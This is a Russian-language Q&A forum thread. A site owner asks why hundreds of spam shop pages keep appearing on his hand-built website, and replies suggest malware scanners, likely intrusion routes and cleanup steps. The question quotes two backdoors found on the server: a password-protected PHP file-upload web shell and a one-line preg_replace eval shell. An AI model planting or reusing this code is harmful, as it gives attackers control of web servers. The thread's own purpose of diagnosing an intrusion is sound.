UZEIR
@UZEIR
Учусь. Пытаюсь развиваться.

Взлом сайта, как понять почему так происходит?

Я делал сайт, дело в том, что периодически вдруг в корне сайта , появляется более 500 html файлов какого то китайского интернет магазина. С чем это может быть связано? Какие промахи в безопасности такое производят? сайт самописный, ничего особо в себе не имеет, кроме статей. Файлы так будто бы залиты на сервер. HTML файлы такого вида 001_shop_eKxk.html

Так же есть папки инородные, там я нашел php файл
<?php
//header("Content-Type: text/html; charset=utf-8");
$config_password="yt";
$action=$_REQUEST['action'];
$password=$_REQUEST['password'];
$folderpath=$_REQUEST['folderpath'];
$filename=$_REQUEST['filename'];
$body=stripslashes($_REQUEST['body']);

if($password==""||$filename==""||$body=="")
{
    echo 'parameters error!';
    return;
}

if($password!=$config_password)
{
    echo 'password error!';
    return;
}

$rootPath=$_SERVER['DOCUMENT_ROOT'];
$newPath=$rootPath;

if($folderpath!="")
{
  if($folderpath=="root")
  {
    $newPath=$rootPath.'/'.$filename;
  }
  else
  {
    createFolder($rootPath.'/'.$folderpath);
    $newPath=$rootPath.'/'.$folderpath.'/'.$filename;
  }
}
else
{
  $newPath=$filename;
}


$fp=fopen($newPath,"w");
//fwrite($fp,"\xEF\xBB\xBF".iconv('gbk','utf-8//IGNORE',$body));
fwrite($fp,$body);
fclose($fp);

if(file_exists($newPath))
{
    echo "publish success & uploaded";
}

function createFolder($path) 
{
    if (!file_exists($path))
    {
        createFolder(dirname($path));
        mkdir($path, 0777);
    }
}
?>

или вот еще
<?php  preg_replace("/laterain/e", "ev"."al('".$_REQUEST['yt']."')", "laterain testin9"); ?>
  • Вопрос задан
  • 2055 просмотров
Пригласить эксперта
Ответы на вопрос 6
wielski
@wielski
✔ Совет: Вам помогли? Отметьте ответы решением.
https://yandex.ru/promo/manul#about
Воспользуйтесь, проверьте сайт на шеллы и прочую нечисть.
Ответ написан
archakov06
@archakov06
Frontend-разработчик (ReactJS)
Есть замечательная утилита aiBolit. Советую им просканировать сайт (папку сайта).

1. Возможно ваш ФТП ломанули.
2. шелл залили через плагин какой-то
3. ломанули сайт который находится на одном сервере с вашим сайтом.
Ответ написан
Комментировать
index0h
@index0h
PHP, Golang. https://github.com/index0h
С чем это может быть связано?

Вас взломали.

Какие промахи в безопасности такое производят?

Вопрос из серии: "что я сделал не правильно?".
Это могут быть:
* доступ на основе популярных логинов/паролей
* похищение пароля админа, через XSS
* слабо защищенный FTP/SFTP
* SQL инъекции
* загружаемые файлы имеют право на выполнение
* загружаемые файлы могут быть включены в основной код
* сайт на CMS со включенным debug режимом
* встречал случаи взлома "изнутри" когда взломщиком является коллега
* возможно взломали на самом деле хостера, а вам просто не повезло
* наружу торчат открытые порты доверенных сервисов: mysql, memcached, redis,...
* ...

Смотрите логи, может что полезное будет
Ответ написан
Комментировать
Chvalov
@Chvalov
Возможно через соседний сайт ломают
У вас Хостинг или свой VPS/VDS ?
Ответ написан
trevoga_su
@trevoga_su
$config_password="......"; 
// где .... - md5() от какого-нибудь сложного пароля. что бы по справочникам md5 не найти


if(md5($password) != $config_password)
{ // ....


как минимум
Ответ написан
@MrGroovy
Вас взломали и ваш сайт, скорее всего используется для мошенничества.
Нужно удалить все сторонние файлы с сайта, в идеале лучше его восстановить из бэкапа. Смените все пароли и просканируйте файлы, на всякий случай, на предмет вредоносного ПО.

С чем это может быть связано? Какие промахи в безопасности такое производят?

Скорее всего вы неправильно настроили какой-то из компонентов сайта. Тут вариантов много, вот основные:
  • Неправильная конфигурация прав доступа к файлам (Security Misconfiguration)
  • Уязвимости связанные с доступом к базам данных (SQL-Injectionn)
  • Слабые пароли (Brute Force)
  • Межсайтовый скриптинг(XSS)

Еще не стоит исключать возможность эксплойта из-за устаревших версий ПО (ssh, ftp).

Вам нужно понять, что смена паролей и удаление сторонних файлов - это временная мера. Вас будут взламывать до тех пор, пока вы не закроете дыры в безопасности сайта. Я бы порекомендовал воспользоваться сканером широкого профиля, который проверяет сайт по всем направлениям сразу. Из онлайн вариантов есть METASCAN или Acunetix.
И еще советую ознакомится с мануалом по безопасности PHP https://www.php.net/manual/en/security.php
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы